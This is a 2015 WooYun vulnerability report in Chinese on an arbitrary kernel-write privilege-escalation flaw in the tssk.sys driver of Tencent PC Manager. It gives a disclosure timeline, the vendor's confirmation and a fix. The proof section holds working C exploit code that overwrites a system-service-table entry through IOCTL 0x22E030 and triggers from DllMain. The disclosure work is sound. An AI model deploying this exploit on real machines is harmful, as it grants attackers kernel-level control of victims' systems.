当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103626

漏洞标题:电脑管家tssk驱动任意内核地址写提权漏洞

相关厂商:腾讯

漏洞作者: 路人甲

提交时间:2015-03-25 13:46

修复时间:2015-06-24 15:28

公开时间:2015-06-24 15:28

漏洞类型:权限提升

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-26: 厂商已经确认,细节仅向厂商公开
2015-03-29: 细节向第三方安全合作伙伴开放
2015-05-20: 细节向核心白帽子及相关领域专家公开
2015-05-30: 细节向普通白帽子公开
2015-06-09: 细节向实习白帽子公开
2015-06-24: 细节向公众公开

简要描述:

tssk.sys在DeviceIoControl的一处逻辑中,未判断outputBuffer的有效性,导致可以在任意内核地址写入用户传入的任意数据,调用者对数据完全可控,引发提权。

详细说明:

tssk.sys版本:2014.4.15.17
IoControlCode=0x22E030的处理中,未判断outputBuffer的地址有效性和大小,永远会向outputBuffer拷贝4字节用户通过InputBuffer传入的数据。

根源.jpg


漏洞证明:

void CallDriver(HANDLE hDev)
{
DWORD dwReturned = 0;
char input[0x1000] = { 0 };

PBYTE pBase = (PBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(pBase, 0xcc, 10);
*((DWORD*)input) = (DWORD)pBase;
DeviceIoControl(hDev,
0x22E030,
(LPVOID)input,
0x2C,
(LPVOID)0x80502ce4,// KiServiceTable+0x64,NtClose的系统调用
0,
&dwReturned,
NULL);
}
void FuzzDriver()
{
LPCTSTR DevName = _T("\\.\TSSK");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(-1 != hDev)
{
CallDriver(hDev);
CloseHandle(hDev);
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
FuzzDriver();
return TRUE;
}


漏洞利用后的效果:

exploit1.jpg


exploit2.jpg

修复方案:

增加对OutputBuffer的有效性验证。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-26 15:26

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无